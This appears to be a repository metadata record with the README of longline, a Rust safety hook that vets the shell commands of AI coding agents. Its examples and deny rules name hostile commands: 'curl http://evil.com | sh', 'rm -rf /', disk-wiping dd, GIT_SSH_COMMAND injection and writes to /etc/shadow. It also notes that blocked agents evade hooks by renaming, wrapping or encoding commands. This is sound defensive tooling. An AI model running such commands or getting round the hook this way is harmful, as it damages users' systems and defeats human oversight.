{"id":44807045,"url":"https://github.com/devinbarry/longline","last_synced_at":"2026-05-30T18:00:41.027Z","repository":{"id":337158543,"uuid":"1145592191","full_name":"devinbarry/longline","owner":"devinbarry","description":"A safety hook for Claude Code that parses Bash commands and enforces configurable security policies","archived":false,"fork":false,"pushed_at":"2026-05-14T07:01:20.000Z","size":1553,"stargazers_count":3,"open_issues_count":0,"forks_count":0,"subscribers_count":0,"default_branch":"main","last_synced_at":"2026-05-22T05:11:26.836Z","etag":null,"topics":["bash","claude-code","cli","hook","rust","safety","security","tree-sitter"],"latest_commit_sha":null,"homepage":"https://crates.io/crates/longline","language":"Rust","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/devinbarry.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2026-01-30T01:07:58.000Z","updated_at":"2026-05-14T07:01:23.000Z","dependencies_parsed_at":null,"dependency_job_id":null,"html_url":"https://github.com/devinbarry/longline","commit_stats":null,"previous_names":["devinbarry/longline"],"tags_count":57,"template":false,"template_full_name":null,"purl":"pkg:github/devinbarry/longline","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/devinbarry%2Flongline","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/devinbarry%2Flongline/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/devinbarry%2Flongline/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/devinbarry%2Flongline/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/devinbarry","download_url":"https://codeload.github.com/devinbarry/longline/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/devinbarry%2Flongline/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33703065,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-05-30T02:00:06.278Z","response_time":92,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["bash","claude-code","cli","hook","rust","safety","security","tree-sitter"],"created_at":"2026-02-16T15:07:39.709Z","updated_at":"2026-05-30T18:00:41.013Z","avatar_url":"https://github.com/devinbarry.png","language":"Rust","funding_links":[],"categories":[],"sub_categories":[],"readme":"# longline\n\n[![Release](https://github.com/devinbarry/longline/actions/workflows/release.yml/badge.svg?event=push)](https://github.com/devinbarry/longline/actions/workflows/release.yml)\n[![crates.io](https://img.shields.io/crates/v/longline.svg)](https://crates.io/crates/longline)\n[![License: MIT](https://img.shields.io/badge/license-MIT-blue.svg)](LICENSE)\n\nA safety hook for [Claude Code](https://docs.anthropic.com/en/docs/claude-code) and [Codex CLI](https://github.com/openai/codex) that auto-allows safe shell commands so AI coding agents stop interrupting you for approval.\n\n## What it does\n\n`PreToolUse` hook for both runtimes. Intercepts Bash, parses with tree-sitter, evaluates against YAML rules, returns allow/ask/deny. Under Claude it also handles Read/Grep/Glob with path-based sensitive-file protection.\n\nThe day-to-day job is speed, not gatekeeping. Agents stop to ask on nearly every command; longline auto-allows the plainly safe ones and reserves prompts for things that genuinely warrant human review.\n\n**Features:**\n- Structured parsing of pipelines, redirects, command substitutions, loops, conditionals, compound statements\n- Per-project overlays — extend the allowlist with whatever's safe in your repo\n- Configurable safety levels (critical, high, strict) and trust levels (minimal, standard, full)\n- Optional AI evaluation for inline interpreter code (`python -c`, `node -e`, etc.)\n- 2300+ golden test cases\n- JSONL audit log\n- Fail-closed: unparseable constructs default to `ask`\n\n## Philosophy\n\n**Ask is the primary decision.** Deny is reserved for the small set of operations that are catastrophic, irreversible, and never legitimately needed — `rm -rf /`, `dd of=/dev/sda`, `mkfs`, `fdisk`, writes to `/dev/sd*`. Everything else asks. Allow is auto-applied for things on the allowlist.\n\nWhy almost no deny? When a hook blocks an agent, the agent doesn't stop — it pivots. It renames the file, wraps the command, encodes it, falls back to a different tool. Deny shifts the failure surface from \"did the agent listen?\" to \"did we patch every bypass?\" Ask shifts it to \"is the human paying attention?\" — a much clearer protocol for collaboration. For the genuinely catastrophic class, neither blocking nor asking is great, but blocking is the lesser evil because a misclick on `ask` to `rm -rf /` is unrecoverable.\n\nFor the rare legitimate use of a denied command (you really are formatting a disk), add an `allow_rules:` override in your project config. Don't weaken the rule globally.\n\n**Deterministic rules engine, not an LLM.** Every decision is a Rust function over a parsed CST and a YAML matcher. No network calls in the hot path, no model latency, no nondeterminism. A decision typically takes milliseconds; the agent never waits on longline. Same input = same output, every time. The optional `--ask-ai` mode invokes a separate LLM judge for inline interpreter code (`python -c '...'`), and even then only to *lift* an ask to allow, never to escalate to deny.\n\n## Repo design\n\n- **`src/parser/`** — tree-sitter Bash CST → typed `Statement` enum. Wrappers (`env`, `timeout`, `nice`, `nohup`, `strace`, `time`, `uv run`, `command`, `builtin`) are unwrapped. Shell-c wrappers (`bash -c`, `sh -c`, `zsh -c`, etc.) are re-parsed when the inner string is safe.\n- **`src/policy/`** — evaluates leaves against YAML matchers. Most-restrictive decision across all leaves wins. Allowlists checked after rules so rules can override allowlisted commands (e.g. `cat .env` asks despite `cat` being allowlisted).\n- **`src/config/`** — multi-file YAML loader, project/global overlay merge, profile system.\n- **`src/adapters/`** — runtime-specific JSON I/O. Claude vs Codex have different protocols; the evaluator is runtime-neutral.\n- **`rules/`** — the 16+ YAML rule files, embedded at compile time. Organized by domain: `git`, `secrets`, `network`, `filesystem`, `docker`, `node`, `python`, `rust`, etc.\n- **`tests/golden/`** — 2300+ test cases as YAML (command in, expected decision out). The runner is `tests/golden_tests.rs`.\n\n## Installation\n\n### From source\n\n```bash\ncargo install --path .\n```\n\nRules are embedded at compile time -- no additional file copying is needed.\n\n### From crates.io\n\n```bash\ncargo install longline\n```\n\n## Configuration\n\n### Claude Code\n\nAdd to your Claude Code settings (`~/.claude/settings.json`):\n\n```json\n{\n  \"hooks\": {\n    \"PreToolUse\": [\n      {\n        \"matcher\": \"Bash\",\n        \"hooks\": [\n          {\n            \"type\": \"command\",\n            \"command\": \"longline\"\n          }\n        ]\n      },\n      {\n        \"matcher\": \"Read\",\n        \"hooks\": [\n          {\n            \"type\": \"command\",\n            \"command\": \"longline\"\n          }\n        ]\n      },\n      {\n        \"matcher\": \"Grep\",\n        \"hooks\": [\n          {\n            \"type\": \"command\",\n            \"command\": \"longline\"\n          }\n        ]\n      },\n      {\n        \"matcher\": \"Glob\",\n        \"hooks\": [\n          {\n            \"type\": \"command\",\n            \"command\": \"longline\"\n          }\n        ]\n      }\n    ]\n  }\n}\n```\n\nNo `--config` flag is needed. longline loads rules in this order:\n1. `--config \u003cpath\u003e` (explicit override, if provided)\n2. `~/.config/longline/rules.yaml` (user customization, if it exists)\n3. Embedded defaults (compiled in)\n\n### Codex CLI\n\nAdd to `~/.codex/hooks.json`:\n\n```json\n{\n  \"hooks\": {\n    \"PreToolUse\": [\n      {\n        \"matcher\": \"Bash\",\n        \"hooks\": [\n          { \"type\": \"command\", \"command\": \"longline hook codex\", \"timeout\": 30 }\n        ]\n      }\n    ],\n    \"PermissionRequest\": [\n      {\n        \"matcher\": \"Bash\",\n        \"hooks\": [\n          { \"type\": \"command\", \"command\": \"longline hook codex\", \"timeout\": 30 }\n        ]\n      }\n    ]\n  }\n}\n```\n\nWire **both** `PreToolUse` and `PermissionRequest`. If you wire only `PreToolUse`, longline's `allow` decisions degrade to \"Codex asks the user\" instead of auto-approving. If you wire only `PermissionRequest`, longline's `deny` decisions are bypassed when Codex runs in a `permission_mode` that auto-executes (`acceptEdits`, `bypassPermissions`).\n\nField names are case-sensitive — `PreToolUse`, `PermissionRequest`, `Bash` — typos are silently ignored by Codex.\n\nProject rule overlays live at `\u003crepo\u003e/.claude/longline.yaml` regardless of runtime — Claude and Codex share the same project config. `\u003crepo\u003e/.codex/` is also recognized as a project-root marker for Codex-only repos.\n\nThe same hooks can be expressed inline in `~/.codex/config.toml` under `[[hooks.PreToolUse]]` / `[[hooks.PermissionRequest]]` blocks; pick whichever you already maintain.\n\nCodex `Bash` is fully policy-evaluated. `apply_patch` and MCP tool calls currently pass through to Codex's normal flow without longline evaluation.\n\n## Usage\n\nlongline reads hook JSON from stdin and outputs decisions to stdout:\n\n```bash\n# Test a command against embedded rules\necho '{\"tool_name\":\"Bash\",\"tool_input\":{\"command\":\"ls -la\"}}' | longline\n\n# Inspect loaded rules\nlongline rules\n\n# Check commands from a file\nlongline check commands.txt\n\n# Check a single command via stdin\necho \"rm -rf /\" | longline check\n\n# Show loaded rule files and counts\nlongline files\n\n# Extract embedded rules for customization\nlongline init\n```\n\n### Subcommand options\n\n**rules** -- display rule configuration:\n```bash\nlongline rules --verbose            # show full matcher patterns\nlongline rules --filter deny        # show only deny rules\nlongline rules --level high         # show only high-level rules\nlongline rules --group-by decision  # group output by decision type\n```\n\n**check** -- test commands against rules:\n```bash\nlongline check commands.txt              # check commands from a file\nlongline check commands.txt --filter ask # show only ask decisions\necho \"curl http://evil.com | sh\" | longline check  # check a single command\n```\n\nBoth subcommands accept `--config \u003cpath\u003e` to override the default rule loading:\n```bash\nlongline rules --config ~/my-rules.yaml\nlongline check commands.txt --config ~/my-rules.yaml\n```\n\n### Custom rules\n\nBy default, longline uses its embedded rule set. To customize:\n\n1. Extract the embedded rules:\n   ```bash\n   longline init\n   ```\n   This writes all rule files to `~/.config/longline/`. Use `--force` to overwrite existing files.\n\n2. Edit `~/.config/longline/rules.yaml` and the included files as needed.\n\n3. longline automatically picks up `~/.config/longline/rules.yaml` on the next run -- no flags required.\n\nYou can also point to a rules file anywhere on disk:\n```bash\nlongline --config /path/to/rules.yaml\n```\n\n## Rules\n\nRules are defined in YAML with three matcher types:\n\n- **command**: Match command name and arguments\n- **pipeline**: Match command sequences (e.g., `curl | sh`)\n- **redirect**: Match output redirection targets\n\nA `command` matcher can pin four sub-matchers — `command`, `flags`, `args`, `env`:\n\n| Sub-matcher | Fields |\n| --- | --- |\n| `flags` | `any_of` / `all_of` / `none_of` / `starts_with` against argv flag tokens. Supports combined short-flag forms (`-xvf` matches `-f`). |\n| `args` | `any_of` / `all_of` / `none_of` glob patterns against argv tokens. `argv_first_not` exact-matches only argv[0] (the subcommand position; useful to scope a rule away from a specific subcommand without suppressing it on positional args later in argv). `case_insensitive: bool` lowercases pattern + arg before matching. `min_args: usize` requires `argv.len() \u003e= min_args` (useful to distinguish `git config \u003ckey\u003e` reads from `git config \u003ckey\u003e \u003cvalue\u003e` sets). |\n| `env` | `any_of` glob patterns against env-var assignment NAMES on the command (e.g. `VAR=val cmd`). `case_insensitive: bool` available. Used by `git-env-rce-vars` to deny `GIT_SSH_COMMAND` / `GIT_EDITOR` / `GIT_CONFIG_KEY_*` etc. |\n\nGlob semantics (from the `glob-match` crate): `*` matches non-`/` chars; `**` matches all chars **but does not cross `/` in mid-pattern positions** — only at end-of-pattern is the cross-`/` semantic active.\n\nExample rules:\n```yaml\n# Command matcher: name + flags + args\n- id: rm-recursive-root\n  level: critical\n  match:\n    command: rm\n    flags:\n      any_of: [\"-r\", \"-rf\", \"-fr\", \"--recursive\"]\n    args:\n      any_of: [\"/\", \"/*\"]\n  decision: deny\n  reason: \"Recursive delete targeting root filesystem\"\n\n# Env matcher: deny GIT_SSH_COMMAND / GIT_EDITOR / etc. as env vars\n- id: git-env-rce-vars\n  level: critical\n  match:\n    command: git\n    env:\n      case_insensitive: true\n      any_of: [\"GIT_SSH_COMMAND\", \"GIT_EDITOR\", \"GIT_CONFIG_KEY_*\"]\n  decision: deny\n\n# Redirect matcher: operator + target glob\n- id: redirect-write-etc\n  level: critical\n  match:\n    redirect:\n      op:\n        any_of: [\"\u003e\", \"\u003e\u003e\"]\n      target:\n        any_of: [\"/etc/hosts\", \"/etc/passwd\", \"/etc/shadow\"]\n  decision: ask\n  reason: \"Redirect write to system configuration file\"\n```\n\n### Rules organization\n\nRules are split across multiple files referenced by `rules.yaml`:\n\n```\nrules/\n  rules.yaml              # Top-level config, lists files to include\n  core-allowlist.yaml     # Generic safe commands (ls, cat, grep...)\n  git.yaml                # Git allowlist + destructive git rules\n  cli-tools.yaml          # gh/glab/glp allowlist + API mutation rules\n  codex.yaml              # OpenAI codex CLI allowlist\n  filesystem.yaml         # Filesystem destruction rules\n  secrets.yaml            # Secrets exposure rules\n  django.yaml             # Django allowlist + destructive rules\n  package-managers.yaml   # pip/npm/cargo/etc allowlist + install rules\n  network.yaml            # Network/exfiltration rules\n  docker.yaml             # Docker destructive rules\n  system.yaml             # System config modification rules\n  interpreters.yaml       # Safe interpreter invocations\n```\n\nUse `longline files` to see loaded files and their rule/allowlist counts.\n\n## Safety levels\n\n- **critical**: Catastrophic operations (rm -rf /, dd to disk, etc.)\n- **high**: Dangerous operations (secret access, network exfiltration)\n- **strict**: Potentially risky operations requiring review\n\n## Decision model\n\n- `allow`: Command is safe, proceed without prompting\n- `ask`: Command requires user approval\n- `deny`: Command is blocked (can be downgraded to `ask` with `--ask-on-deny`)\n\n## AI Judge\n\nFor inline interpreter code (e.g., `python -c \"...\"`), longline can use AI to evaluate the embedded code instead of defaulting to `ask`.\n\n**Strict mode** (`--ask-ai`): Conservative evaluation, flags potential dangers.\n\n**Lenient mode** (`--ask-ai-lenient` or `--lenient`): Prefers allow for normal development tasks like file reading, Django template loading, and standard dev operations.\n\n```bash\nlongline --ask-ai          # strict\nlongline --ask-ai-lenient  # lenient\n```\n\nThese flags combine with the hook command in your settings:\n```json\n{\n  \"type\": \"command\",\n  \"command\": \"longline --ask-ai-lenient\"\n}\n```\n\n## Profiles\n\n### Why profiles exist\n\nDifferent runtimes and session contexts need different rule sets. Codex tooling is materially sloppier than Claude tooling and benefits from tighter rules; a specialized context such as an afterhours daemon supervising Codex may need stricter rules still, while an interactive Claude session can be more permissive. Profiles let one binary serve all of these without duplicating `rules.yaml`. If you run only one runtime in one mode, you do not need profiles — the implicit `default` profile applies.\n\n### Conceptual model\n\nA profile is a named overlay that layers on top of the full embedded/global/project rule stack. The resolution order from lowest to highest precedence is:\n\n```\nembedded defaults (rules/rules.yaml)\n  → global overlay top-level fields (~/.config/longline/longline.yaml)\n  → project overlay top-level fields (\u003crepo\u003e/.claude/longline.yaml)\n  → resolved profile (extends chain, root → leaf)\n  = final config\n```\n\nProfiles inherit from one another through a single-parent `extends:` chain. Every profile that omits `extends:` implicitly extends the built-in `default` profile (zero extra rules, no safety-level override). The `default` profile always exists; you do not need to declare it.\n\nNote: because every profile implicitly extends `default`, adding content to a user-defined `profiles.default` block silently affects every other profile in the merged map.\n\n### Schema reference\n\nAdd `defaults:` and `profiles:` top-level keys to your global overlay (`~/.config/longline/longline.yaml`) or project overlay (`\u003crepo\u003e/.claude/longline.yaml`):\n\n```yaml\ndefaults:\n  claude: \u003cprofile-name\u003e     # used when --profile is not passed on hook claude\n  codex: \u003cprofile-name\u003e      # used when --profile is not passed on hook codex\n\nprofiles:\n  \u003cprofile-name\u003e:\n    extends: \u003cparent-name\u003e   # parent profile to inherit from; default: \"default\"\n                             # may not be redeclared across overlays once set\n    safety_level: ...        # critical | high | strict; overrides inherited value\n    rules:                   # additional Rule entries; same schema as elsewhere\n      - id: ...              # required; used for id-collision replacement\n        level: ...           # critical | high | strict\n        match: { ... }       # command / pipeline / redirect matcher\n        decision: ...        # allow | ask | deny\n        reason: \"...\"        # required; shown in audit log and UI\n    allowlists:\n      commands:\n        - command: ...\n          trust: ...         # minimal | standard | full\n          reason: \"...\"      # optional\n    ai_judge:\n      prompt: |              # fully replaces inherited prompt (must include\n        ...                  # {language}, {code}, {cwd} placeholders)\n```\n\n**Per-field merge semantics (parent → child, and global → project within a profile):**\n\n- `extends:` — fixes the profile's parent; may not be redeclared once a profile name appears in any overlay. If a project needs a different inheritance chain, use a new profile name.\n- `safety_level:` — child overrides parent; omitted means inherit.\n- `rules:` — child appends; a rule with the same `id` as an existing rule **replaces** it (id-collision replacement). This is how you weaken: redefine a parent's `deny` rule as `allow` using the same `id`.\n- `allowlists:` — child appends; no removal mechanism. Because policy evaluates rules before the allowlist, use a `deny` rule to genuinely tighten rather than relying on allowlist ordering.\n- `ai_judge.prompt:` — child fully replaces parent; omitted means inherit.\n\n### Resolution precedence\n\n**Name resolution** — four-step ladder, first match wins:\n\n1. `--profile \u003cname\u003e` CLI flag\n2. Project overlay's `defaults.\u003cruntime\u003e`\n3. Global overlay's `defaults.\u003cruntime\u003e`\n4. Built-in fallback: `default`\n\n**Field precedence** within the resolved config — highest first:\n\n1. CLI flag (`--safety-level`)\n2. Project overlay's entry for the resolved profile name\n3. Global overlay's entry for the resolved profile name\n4. Profile `extends:` chain (root → leaf), ancestor contributions only\n5. Top-level overlay contributions (`override_safety_level`, etc.)\n6. Built-in defaults (embedded `rules/rules.yaml`)\n\n### Merge example\n\nGlobal overlay (`~/.config/longline/longline.yaml`) — looser, used as the shared baseline:\n\n```yaml\ndefaults:\n  codex: strict\n\nprofiles:\n  strict:\n    extends: default\n    safety_level: strict\n    rules:\n      - id: codex-no-curl-pipe-sh\n        level: high\n        match:\n          pipeline:\n            stages:\n              - { command: curl }\n              - { command: sh }\n        decision: deny\n        reason: \"strict: do not pipe curl into sh\"\n      - id: codex-glab-mr-create-ok\n        level: high\n        match:\n          command: glab\n          args: { all_of: [\"mr\", \"create\"] }\n        decision: allow\n        reason: \"strict allows opening MRs\"\n```\n\nProject overlay (`\u003crepo\u003e/.claude/longline.yaml`) — a production-deploy repo that tightens:\n\n```yaml\nprofiles:\n  strict:\n    rules:\n      - id: this-repo-no-cargo-publish\n        level: high\n        match:\n          command: cargo\n          args: { any_of: [\"publish\"] }\n        decision: deny\n        reason: \"this repo never publishes from Codex sessions\"\n      - id: codex-glab-mr-create-ok          # same id as global → project wins\n        level: high\n        match:\n          command: glab\n          args: { all_of: [\"mr\", \"create\"] }\n        decision: deny\n        reason: \"this repo: MRs must come from local dev, not Codex\"\n```\n\nResolved `strict` profile when Codex runs in this repo:\n\n- `extends: default` (from global; project did not override)\n- `safety_level: strict` (from global; project did not override)\n- Three rules:\n  - `codex-no-curl-pipe-sh` — global, unchanged; `curl | sh` is denied\n  - `this-repo-no-cargo-publish` — project-added; `cargo publish` is denied in this repo only\n  - `codex-glab-mr-create-ok` — redefined as `deny` by the project; MRs cannot be opened from inside Codex sessions in this repo (project tightened what the global profile allowed)\n\n### CLI reference\n\n```bash\nlongline hook claude --profile \u003cname\u003e   # explicit profile for Claude sessions\nlongline hook codex  --profile \u003cname\u003e   # explicit profile for Codex sessions\nlongline check       --profile \u003cname\u003e '\u003ccommand\u003e'\nlongline rules       --profile \u003cname\u003e   # annotates replaced builtins\nlongline files       --profile \u003cname\u003e   # validates profile loads cleanly\nlongline profiles                        # table of all profiles (all overlays)\nlongline profiles --runtime codex        # resolved default profile for codex\nlongline profiles --json                 # machine-readable; stable within minor versions\n```\n\n`--profile` is also honoured by the bare `longline` form (back-compat alias for `longline hook claude`).\n\n### Audit log\n\nEvery JSONL entry in `~/.claude/hooks-logs/longline.jsonl` and `~/.codex/hooks-logs/longline.jsonl` carries a `profile` field:\n\n```jsonc\n{\n  \"runtime\": \"codex\",\n  \"profile\": \"strict\",\n  ...\n}\n```\n\nUsers not using profiles see `\"profile\": \"default\"` on every entry.\n\nThe reserved sentinel `\"profile\": \"unresolved\"` appears only on Codex fail-open entries where profile resolution itself failed. User-defined profiles may not be named `unresolved`.\n\n### Weakening note\n\nProfile rules can **weaken** embedded denies by reusing the same rule `id` with a different decision. This is intentional per the longline threat model (optimize for false-positive elimination; the operator is trusted), but it means you can silently disable safety rails. After defining any profile, run:\n\n```bash\nlongline rules --profile \u003cname\u003e\n```\n\nto confirm the resolved rule set. The output annotates each profile-source rule that replaced a same-id builtin with `[overrides id 'foo' from builtin]`.\n\n## Supported bash constructs\n\nThe parser handles:\n- Simple commands, pipelines (`|`), lists (`\u0026\u0026`, `||`, `;`)\n- Subshells `(...)`, command substitutions `$(...)` and backticks\n- for/while loops, if/else, case statements\n- Compound statements `{ ...; }`, function definitions\n- Test commands `[[ ... ]]`, comments\n- Transparent wrappers: `env`, `timeout`, `nice`, `nohup`, `strace`, `time`, `uv run`\n- `find -exec` / `xargs` inner command extraction\n- Command substitutions in assignments, string nodes, and redirect targets\n\nAll commands within these constructs are extracted and evaluated. Commands invoked via absolute paths (e.g., `/usr/bin/rm`) are matched by basename. Unknown or unparseable constructs become `Opaque` nodes and result in `ask` (fail-closed).\n\n## License\n\nMIT\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdevinbarry%2Flongline","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fdevinbarry%2Flongline","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdevinbarry%2Flongline/lists"}